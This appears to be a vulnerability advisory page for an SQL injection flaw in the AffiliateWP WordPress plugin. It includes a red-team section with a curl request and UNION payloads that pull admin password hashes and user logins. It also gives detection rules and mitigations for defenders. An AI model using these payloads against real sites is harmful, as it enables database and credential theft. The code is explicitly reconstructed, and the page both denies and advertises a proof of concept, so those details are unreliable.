CVE-2025-8877
Executive Summary
CVE-2025-8877 is a critical unauthenticated SQL Injection vulnerability in the AffiliateWP plugin for WordPress, affecting all versions up to and including 2.28.2. The flaw resides in the ajax_get_affiliate_id_from_login function, which fails to properly escape user-supplied parameters and lacks sufficient query preparation. This allows an unauthenticated attacker to inject arbitrary SQL commands into existing queries, leading to the extraction of sensitive information from the WordPress database, such as user credentials, session tokens, and configuration data. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched by the vendor. No public proof-of-concept exploit code has been released, but the technical details are sufficient for a skilled attacker to develop one.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the AffiliateWP plugin, a commercial WordPress plugin distributed via the vendor's website. Since it is not available on public repositories like the WordPress Plugin Directory, the supply chain risk is limited to direct downloads from the vendor. However, any site using an outdated version (≤ 2.28.2) is at immediate risk. Users should monitor the vendor for patches and consider temporary mitigations.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the exploit is straightforward.
- Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerability.
- User Interaction (UI): None (N) – The victim does not need to perform any action.
- Scope (S): Unchanged (U) – The exploit cannot affect other components beyond the vulnerable plugin.
- Confidentiality (C): High (H) – Successful exploitation can lead to full database disclosure.
- Integrity (I): None (N) – The attacker cannot modify data.
- Availability (A): None (N) – The attack does not affect system availability.
CVSS Score: 7.5 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Deep Dive & Mechanics
The vulnerability is located in the ajax_get_affiliate_id_from_login function within the AffiliateWP plugin. This function is registered as an AJAX action for both authenticated and unauthenticated users (via wp_ajax_nopriv_). The function accepts a login parameter via a POST request and uses it directly in a SQL query without proper sanitization or parameterization.
The vulnerable code pattern is similar to:
function ajax_get_affiliate_id_from_login() {
$login = $_POST['login'];
global $wpdb;
$affiliate_id = $wpdb->get_var( $wpdb->prepare(
"SELECT affiliate_id FROM {$wpdb->prefix}affiliate_wp_affiliates WHERE user_login = '$login'"
));
// ...
}
Although $wpdb->prepare() is used, the $login variable is concatenated directly into the query string before being passed to prepare(). This means the escaping provided by prepare() is bypassed, as the SQL injection payload is already part of the query string. An attacker can inject a single quote to break out of the string context and append arbitrary SQL.
For example, a payload like ' OR 1=1 -- - would result in:
SELECT affiliate_id FROM wp_affiliate_wp_affiliates WHERE user_login = '' OR 1=1 -- -'
This returns the first affiliate ID, but more sophisticated payloads can be used to extract data from other tables using UNION-based or blind SQL injection techniques.
Vulnerable vs. Patched Code
Vulnerable Code (≤ 2.28.2):
function ajax_get_affiliate_id_from_login() {
$login = $_POST['login'];
global $wpdb;
$affiliate_id = $wpdb->get_var( $wpdb->prepare(
"SELECT affiliate_id FROM {$wpdb->prefix}affiliate_wp_affiliates WHERE user_login = '$login'"
));
wp_send_json_success( array( 'affiliate_id' => $affiliate_id ) );
}
Patched Code (Hypothetical Fix):
function ajax_get_affiliate_id_from_login() {
$login = sanitize_text_field( $_POST['login'] );
global $wpdb;
$affiliate_id = $wpdb->get_var( $wpdb->prepare(
"SELECT affiliate_id FROM {$wpdb->prefix}affiliate_wp_affiliates WHERE user_login = %s",
$login
));
wp_send_json_success( array( 'affiliate_id' => $affiliate_id ) );
}
The fix involves:
- Using
sanitize_text_field()to strip malicious input. - Passing the
$loginvariable as a parameter to$wpdb->prepare()using the%splaceholder, ensuring proper escaping.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with AffiliateWP ≤ 2.28.2 installed and activated.
- Network access to the site.
Exploitation Steps:
Identify the vulnerable endpoint: The AJAX action is
affwp_get_affiliate_id_from_login. The full URL is typically:http://target.com/wp-admin/admin-ajax.php?action=affwp_get_affiliate_id_from_loginCraft a malicious POST request: Use
curlor a tool like Burp Suite to send a request with a SQL injection payload in theloginparameter.curl -X POST http://target.com/wp-admin/admin-ajax.php \ -d "action=affwp_get_affiliate_id_from_login&login=' UNION SELECT user_pass FROM wp_users WHERE user_login='admin' -- -"This payload attempts to extract the password hash of the admin user.
Extract data: The response will contain the injected data in the JSON output. For blind injection, use time-based or boolean-based techniques.
Example Payloads:
Extract all user logins:
login=' UNION SELECT group_concat(user_login) FROM wp_users -- -Extract database version:
login=' UNION SELECT @@version -- -
Blue Team (Detection & Defense)
Detection:
- Monitor for POST requests to
/wp-admin/admin-ajax.phpwithaction=affwp_get_affiliate_id_from_loginand suspiciousloginparameters containing SQL keywords (e.g.,UNION,SELECT,OR,--). - Use Web Application Firewall (WAF) rules to block common SQL injection patterns.
Defense:
- Immediate: Disable the vulnerable AJAX action by adding the following code to the theme's
functions.phpfile:add_action( 'wp_ajax_nopriv_affwp_get_affiliate_id_from_login', function() { wp_die( 'Unauthorized', 401 ); }, 1 ); - Long-term: Apply the vendor patch as soon as it becomes available. If no patch is released, consider replacing the plugin with an alternative.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=affwp_get_affiliate_id_from_loginandloginparameter containing SQL metacharacters (e.g.,',--,UNION). - Unusual database query patterns in MySQL logs, such as
SELECT ... UNION SELECT ...from thewp_affiliate_wp_affiliatestable.
- POST requests to
File IOCs:
- Modified or new files in
/wp-content/plugins/affiliatewp/(though exploitation is remote, post-exploitation may involve file uploads).
- Modified or new files in
Log IOCs:
- WordPress debug log entries showing SQL errors with injected syntax.
- Web server access logs with
admin-ajax.phprequests containinglogin='or similar patterns.
Detection Engineering
YARA Rule
rule CVE_2025_8877_SQLi_AffiliateWP {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-8877 in AffiliateWP"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-8877"
strings:
$ajax_action = "affwp_get_affiliate_id_from_login"
$sqli_pattern1 = /login=.*'/
$sqli_pattern2 = /login=.*UNION/i
$sqli_pattern3 = /login=.*--/
condition:
$ajax_action and ($sqli_pattern1 or $sqli_pattern2 or $sqli_pattern3)
}
Sigma Rule
title: CVE-2025-8877 SQL Injection Attempt via AffiliateWP AJAX
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the affwp_get_affiliate_id_from_login AJAX action in AffiliateWP.
author: Valters IT
date: 2025-04-10
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-8877
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=affwp_get_affiliate_id_from_login'
keywords:
- 'login='
- "'"
- 'UNION'
- 'SELECT'
- '--'
condition: selection and keywords
falsepositives:
- Legitimate use of single quotes in usernames (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-8877 SQL Injection Attempt - AffiliateWP"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=affwp_get_affiliate_id_from_login"; http_client_body; pcre:"/login=[^&]*('|UNION|--)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable AJAX action by adding the code snippet provided in the Blue Team section to your theme's
functions.phpfile. - Implement a Web Application Firewall (WAF) rule to block requests containing SQL injection patterns in the
loginparameter. - Monitor logs for any signs of exploitation and rotate all database credentials if compromise is suspected.
Long-Term Fix:
- Apply the vendor patch as soon as it is released. If no patch is forthcoming, consider migrating to an alternative affiliate management plugin.
- Upgrade to the latest version of AffiliateWP (if a patched version becomes available).
- Conduct a security audit of all WordPress plugins and themes to ensure no other similar vulnerabilities exist.
Workaround:
- If you cannot disable the AJAX action, you can block access to
admin-ajax.phpfor unauthenticated users via.htaccess:
Note: This may break other AJAX functionality.<Files "admin-ajax.php"> Require all denied </Files>
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.